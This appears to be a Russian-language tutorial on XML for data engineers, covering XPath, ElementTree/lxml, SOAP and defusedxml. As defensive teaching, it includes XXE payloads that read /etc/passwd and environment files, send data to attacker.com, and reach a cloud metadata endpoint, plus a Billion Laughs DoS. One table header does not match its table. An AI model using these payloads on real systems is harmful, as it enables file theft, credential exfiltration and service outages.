Learning Platform
Глоссарий Troubleshooting
Урок 05.04 · 22 мин
Начальный
XMLXPathlxmlXXESecurity

XML: legacy формат, который не уйдёт

XML кажется устаревшим — JSON выиграл войну форматов в API. Но junior data engineer всё равно столкнётся с XML регулярно: legacy SOAP API, экспорты из enterprise-систем (SAP, 1C, Oracle), RSS/Atom feeds, OpenAPI 2.0 определения, XBRL для финансовой отчётности, конфиги старых Java/Maven систем. Игнорировать XML нельзя.

В этом уроке — структура XML, отличия от JSON, namespaces, XPath для запросов, парсинг через ElementTree и lxml, и критическая security-проблема XXE атак.


Структура XML

XML — markup-язык. Документ состоит из вложенных элементов с тегами:

<?xml version="1.0" encoding="UTF-8"?>
<users>
  <user id="1" status="active">
    <name>Alice</name>
    <email>[email protected]</email>
    <hobbies>
      <hobby>reading</hobby>
      <hobby>hiking</hobby>
    </hobbies>
  </user>
  <user id="2" status="inactive">
    <name>Bob</name>
    <email>[email protected]</email>
  </user>
</users>

Ключевые концепции:

Элементы XML
ElementТег с открывающей и закрывающей частью. Может содержать вложенные элементы, текст, атрибуты. Корневой элемент -- один на документ
AttributeПара ключ-значение внутри открывающего тега. Значение в кавычках. Для metadata, identifiers, конфигурации
Text contentТекст между открывающим и закрывающим тегом. Используется для основных данных
XML declarationПервая строка документа. Указывает версию XML и encoding. Опционально, но best practice
Self-closing tagЭлемент без содержимого. Эквивалентно <foo></foo>
CommentКомментарии в XML -- допустимы. Парсер их игнорирует. Это преимущество над JSON
CDATACharacter Data -- секция, в которой не нужно эскейпить < > &. Удобно для embedding HTML/XML/код внутри XML
NamespacesПрефиксы для разделения элементов из разных XML-словарей. Например xs: для XML Schema, soap: для SOAP
Processing instructionИнструкции для приложения, обрабатывающего XML. Например <?xml-stylesheet?> для XSLT

Сравните с JSON: тот же users массив на JSON весит примерно 200 байт, на XML — 400 байт. Verbose. Но XML даёт то, чего нет в JSON: атрибуты, namespaces, comments, schema validation (XSD), transformations (XSLT), queries (XPath).


Elements vs Attributes

В XML одни и те же данные можно представить двумя способами: как вложенные элементы или как атрибуты.

<!-- Стиль 1: всё через элементы -->
<user>
  <id>1</id>
  <name>Alice</name>
  <email>[email protected]</email>
</user>

<!-- Стиль 2: всё через атрибуты -->
<user id="1" name="Alice" email="[email protected]" />

<!-- Стиль 3: смешанный (типично) -->
<user id="1">
  <name>Alice</name>
  <email>[email protected]</email>
</user>

Соглашение по индустрии:

  • Атрибуты: для metadata, identifiers, типов, режимов. Атрибут — это «свойство элемента». Не может содержать вложенную структуру.
  • Элементы: для основных данных, особенно если возможны множественные значения или вложенные структуры.

Атрибут не может повторяться (атрибут с уникальным именем) и не имеет порядка. Элементы могут повторяться и упорядочены.


Namespaces

Когда XML собран из нескольких источников, конфликты имён неизбежны. У SOAP есть <Body>, у вашего приложения тоже может быть <Body>. Namespaces решают это, добавляя URI-префиксы.

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:m="http://example.com/myapp">
  <soap:Header>
    <m:RequestID>abc123</m:RequestID>
  </soap:Header>
  <soap:Body>
    <m:GetUser>
      <m:UserId>42</m:UserId>
    </m:GetUser>
  </soap:Body>
</soap:Envelope>

xmlns:soap="..." объявляет namespace soap, ассоциированный с URI. URI — просто identifier, не URL для скачивания. Префикс soap: теперь можно использовать перед именем элемента (soap:Envelope).

Namespaces важны при парсинге — нужно учитывать префиксы.


XPath: queries по XML

XPath — мини-язык для навигации по XML. Похоже на путь в файловой системе, но с powerful predicates.

/users/user                    -- все user элементы (прямые потомки users)
//user                          -- все user элементы (на любой глубине)
/users/user[@id="1"]           -- user с атрибутом id="1"
/users/user/name               -- name внутри user
//user[name="Alice"]           -- user, у которого есть name="Alice"
//user[@status="active"]/email -- email активных юзеров
//user[position()=1]           -- первый user
//user[last()]                 -- последний user
//hobby[text()="hiking"]/..    -- родитель hobby с text="hiking"
count(//user)                  -- количество users

XPath используется в:

  • Парсинге XML (lxml поддерживает полный XPath 1.0; для XPath 2.0/3.0 — нужны другие либы).
  • XSLT (transformations).
  • Selenium (web automation, селекторы).
  • Schematron (валидация структуры).

Парсинг в Python: ElementTree (stdlib)

Stdlib xml.etree.ElementTree — базовый XML-парсер. Простой, но ограничен (XPath 1.0 subset, без validation).

import xml.etree.ElementTree as ET

xml_data = """
<users>
  <user id="1" status="active">
    <name>Alice</name>
    <email>[email protected]</email>
  </user>
  <user id="2" status="inactive">
    <name>Bob</name>
    <email>[email protected]</email>
  </user>
</users>
"""

# Из строки
root = ET.fromstring(xml_data)

# Из файла
tree = ET.parse("users.xml")
root = tree.getroot()

# Итерация по элементам
for user in root.findall('user'):
    user_id = user.get('id')        # атрибут
    status = user.get('status')
    name = user.find('name').text    # элемент -> text
    email = user.find('email').text
    print(f"{user_id}: {name} ({email}) -- {status}")

# XPath subset
active_users = root.findall(".//user[@status='active']")
for u in active_users:
    print(u.find('name').text)

# Создание XML
new_root = ET.Element('users')
user = ET.SubElement(new_root, 'user', id='3', status='active')
name = ET.SubElement(user, 'name')
name.text = 'Carol'
ET.dump(new_root)
# <users><user id="3" status="active"><name>Carol</name></user></users>

ElementTree XPath subset не поддерживает: position(), last(), multiple axes, functions кроме text() и normalize-space().


lxml: быстрее и мощнее

lxml — библиотека на C (libxml2). Быстрее ElementTree в 5-20 раз, поддерживает полный XPath 1.0, XSLT, валидацию через XSD/RelaxNG/Schematron.

# pip install lxml
from lxml import etree

# Парсинг
tree = etree.parse("users.xml")
root = tree.getroot()

# Полный XPath
active_users = root.xpath("//user[@status='active']")
for u in active_users:
    print(u.find('name').text)

# Сложные выражения
all_emails = root.xpath("//user[@status='active']/email/text()")
print(all_emails)  # ['[email protected]']

# Namespaces
xml_with_ns = """
<root xmlns:x="http://example.com">
  <x:item>foo</x:item>
</root>
"""
root = etree.fromstring(xml_with_ns)
items = root.xpath("//x:item", namespaces={'x': 'http://example.com'})
print(items[0].text)  # foo

# Pretty print
print(etree.tostring(root, pretty_print=True, encoding='unicode'))

# Валидация по XSD
schema_text = """<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:element name="user">
    <xs:complexType>
      <xs:sequence>
        <xs:element name="name" type="xs:string"/>
        <xs:element name="age" type="xs:int"/>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>"""
schema = etree.XMLSchema(etree.fromstring(schema_text))
parser = etree.XMLParser(schema=schema)
# При парсинге документа, не соответствующего схеме, выбросит exception

Когда выбирать lxml:

  • Большие XML-файлы (>1 МБ).
  • Сложные XPath-запросы.
  • Нужна валидация схемы.
  • Нужны XSLT-трансформации.
  • Production-grade обработка XML.

XXE: критическая уязвимость

XML External Entity (XXE) — атака, в которой атакующий через специально crafted XML заставляет парсер прочитать файлы с диска или сделать сетевые запросы.

XML поддерживает entities — переменные внутри XML. Можно объявить entity и ссылаться на неё:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY hello "Hello World">
]>
<root>&hello;</root>
<!-- После парсинга: <root>Hello World</root> -->

External entity — entity, которая загружается извне:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Парсер с поддержкой XXE прочитает /etc/passwd и вставит содержимое -->

Если ваш сервис парсит XML от внешних источников и выводит результат, атакующий может прочитать любой файл, доступный процессу. Variations:

<!ENTITY xxe SYSTEM "http://attacker.com/data">      <!-- exfiltration через HTTP -->
<!ENTITY xxe SYSTEM "file:///proc/self/environ">     <!-- env vars / secrets -->
<!ENTITY xxe SYSTEM "expect://id">                    <!-- RCE через expect:// (на php) -->

Python ElementTree и lxml по умолчанию уязвимы к XXE (хотя в новых версиях lxml безопаснее). Решение — defusedxml.

# pip install defusedxml
import defusedxml.ElementTree as ET
# или
from defusedxml.lxml import fromstring

# defusedxml блокирует:
# - External entities (XXE)
# - DTD-based attacks (Billion Laughs, quadratic blowup)
# - Network access during parsing

# Использование -- drop-in replacement
tree = ET.parse("untrusted.xml")
root = tree.getroot()
DANGER

ВСЕГДА используйте defusedxml при парсинге XML из внешних источников (uploads, API responses, webhook payloads). Stdlib ElementTree и lxml безопасны только для XML, который вы 100% контролируете. defusedxml — drop-in replacement, нет причин не использовать.

Кроме XXE есть атака Billion Laughs:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
]>
<lolz>&lol9;</lolz>

Через 9 уровней вложенности получаем 10^9 повторений строки lol — гигабайты памяти. Парсер OOM. defusedxml блокирует.


Где DE встретит XML

Типичные сетевые атаки: MITM, ARP poisoning, DNS spoofing
XML use cases для DE
Legacy SOAP APIEnterprise-системы (SAP, Oracle EBS, банковские core) часто отдают данные через SOAP. SOAP request/response -- XML. Использовать suds-jurko или zeep для Python
RSS / Atom feedsRSS -- формат для подписки на обновления. XML структура с item/entry. Парсить через feedparser (handles RSS, Atom, многие диалекты)
OpenAPI 2.0 (Swagger)OpenAPI 2.0 (Swagger) поддерживает и JSON, и XML. OpenAPI 3.x -- обычно YAML. Если работаете с legacy API -- встретите XML-вариант
Excel internalsExcel xlsx файлы -- это zip-архив с XML-файлами внутри. openpyxl парсит за вас, но при сложных манипуляциях иногда нужно работать с XML напрямую
XBRL / финансовая отчётностьXBRL -- XML-based standard для финансовых отчётов (SEC, EDGAR). Большие XML с много namespaces и тегами для каждой бух. метрики
Konfiguratsioon (Maven, Spring)Java-экосистема исторически на XML: pom.xml, web.xml, Spring XML. Если интегрируетесь с Java-сервисами -- нужно понимать

Пример SOAP-запроса:

import requests

soap_envelope = """<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:m="http://example.com/users">
  <soap:Body>
    <m:GetUser>
      <m:UserId>42</m:UserId>
    </m:GetUser>
  </soap:Body>
</soap:Envelope>
"""

response = requests.post(
    "http://soap-api.example.com/users",
    data=soap_envelope,
    headers={
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": "http://example.com/users/GetUser",
    },
)

# Парсинг ответа (с защитой от XXE!)
from defusedxml import ElementTree as ET
root = ET.fromstring(response.content)
ns = {'soap': 'http://schemas.xmlsoap.org/soap/envelope/',
      'm': 'http://example.com/users'}
user_name = root.find(".//m:Name", ns).text
print(user_name)

В реальности — проще через zeep (SOAP-клиент с автогенерацией из WSDL):

# pip install zeep
from zeep import Client
client = Client("http://soap-api.example.com/users?wsdl")
result = client.service.GetUser(UserId=42)
print(result.Name)

Подводные камни

Whitespace-чувствительность. XML сохраняет whitespace внутри элементов. <a> text </a> — text text с пробелами. parser обычно не нормализует — нужно .strip().

Mixed content. Элемент может содержать и текст, и вложенные элементы: <p>Hello <b>world</b>!</p>. ElementTree парсит как: text='Hello ', tail='!' у <b>. Запутывает.

Encoding declaration vs реальный encoding. Файл может декларировать <?xml encoding="UTF-8"?>, но содержать cp1251. Парсер упадёт с UnicodeDecodeError. Проверять реальный encoding отдельно.

Namespaces в XPath. Если XML использует namespaces, в XPath нужно их явно передать. Без этого //user не найдёт <m:user>.

Attribute order не гарантирован. При парсинге и re-serialize порядок атрибутов может измениться. Не полагайтесь на него.


Попробуй сам

import xml.etree.ElementTree as ET
from defusedxml import ElementTree as DefusedET

# 1. Создать XML
root = ET.Element('users')
for i, name in enumerate(['Alice', 'Bob'], 1):
    user = ET.SubElement(root, 'user', id=str(i))
    name_el = ET.SubElement(user, 'name')
    name_el.text = name
ET.indent(root)  # Pretty-print (Python 3.9+)
xml_str = ET.tostring(root, encoding='unicode')
print(xml_str)

# 2. Парсинг и навигация
xml_data = """
<library>
  <book id="1" available="true">
    <title>The Hobbit</title>
    <author>Tolkien</author>
    <year>1937</year>
  </book>
  <book id="2" available="false">
    <title>1984</title>
    <author>Orwell</author>
    <year>1949</year>
  </book>
</library>
"""
root = ET.fromstring(xml_data)
for book in root.findall(".//book[@available='true']"):
    print(book.find('title').text, book.get('id'))

# 3. lxml для XPath
from lxml import etree
root = etree.fromstring(xml_data)
titles = root.xpath("//book[year < 1940]/title/text()")
print(titles)  # ['The Hobbit']

# 4. ОПАСНО: попробовать XXE на defusedxml
xxe_payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<root>&xxe;</root>'''

# С stdlib ElementTree это может прочитать файл (зависит от версии)
# С defusedxml -- заблокировано
try:
    DefusedET.fromstring(xxe_payload)
except Exception as e:
    print(f"defusedxml blocked: {type(e).__name__}: {e}")

# 5. Namespaces
soap_xml = """<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <hello>World</hello>
  </soap:Body>
</soap:Envelope>"""
root = ET.fromstring(soap_xml)
ns = {'soap': 'http://schemas.xmlsoap.org/soap/envelope/'}
body = root.find('soap:Body', ns)
hello = body.find('hello')
print(hello.text)  # World

Проверка знанийKnowledge check
API партнёра присылает XML c данными о товарах. Один из инженеров написал endpoint, который принимает этот XML, парсит через xml.etree.ElementTree.fromstring(request.body) и сохраняет в БД. Endpoint доступен публично с API-key auth. Опиши конкретные атаки, которые может провести злоумышленник с валидным API-key, и как переделать код безопасно.
ОтветAnswer
Несколько вариантов атак возможны через крафт-XML. (1) XXE для чтения файлов: <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>. Парсер прочитает /etc/passwd и (если содержимое возвращается в response -- для логов или ошибки) -- exfiltrate. Доступ к secrets, configs, .env. (2) XXE через HTTP (out-of-band): <!ENTITY xxe SYSTEM 'http://attacker.com/log?data=...'>. Парсер сделает HTTP-запрос, передаст внутренние данные на сервер атакующего. Также SSRF -- обращение к internal services (метадата AWS типа http://169.254.169.254/), извлечение IAM credentials. (3) Billion Laughs (DoS): рекурсивные entity-определения раскручиваются в гигабайты RAM, сервис падает с OOM. Один запрос на 1 КБ = 10 ГБ RAM. (4) Quadratic blowup (вариант DoS): не такой агрессивный, но тоже растягивает RAM/CPU. Все эти атаки работают потому, что stdlib ElementTree поддерживает entities by default (даже если уязвимость к XXE через external entities в новых версиях частично смягчена, DoS-vectors остаются). Безопасный код: from defusedxml.ElementTree import fromstring; root = fromstring(request.body). defusedxml -- drop-in replacement, блокирует XXE, external DTD, network access во время парсинга, exponential entities. Дополнительно: (1) Лимит размера body (max 1 MB на запрос) для защиты от DoS на парсинге; (2) Validation через XSD-схему -- отклонять что-то, что не соответствует ожидаемой структуре; (3) Логирование любых XML, которые не парсятся -- возможно атаки в процессе; (4) Если можно -- мигрировать API на JSON, JSON-парсеры не имеют такого класса уязвимостей.

Проверьте понимание

Результат: 0 из 0
Аналитический
Вопрос 1 из 5. Что такое XXE атака (XML External Entity), и как защититься в Python-коде?

Закончили урок?

Отметьте его как пройденный, чтобы отслеживать свой прогресс

Войдите чтобы оценить урок

Прогресс модуля
0 из 5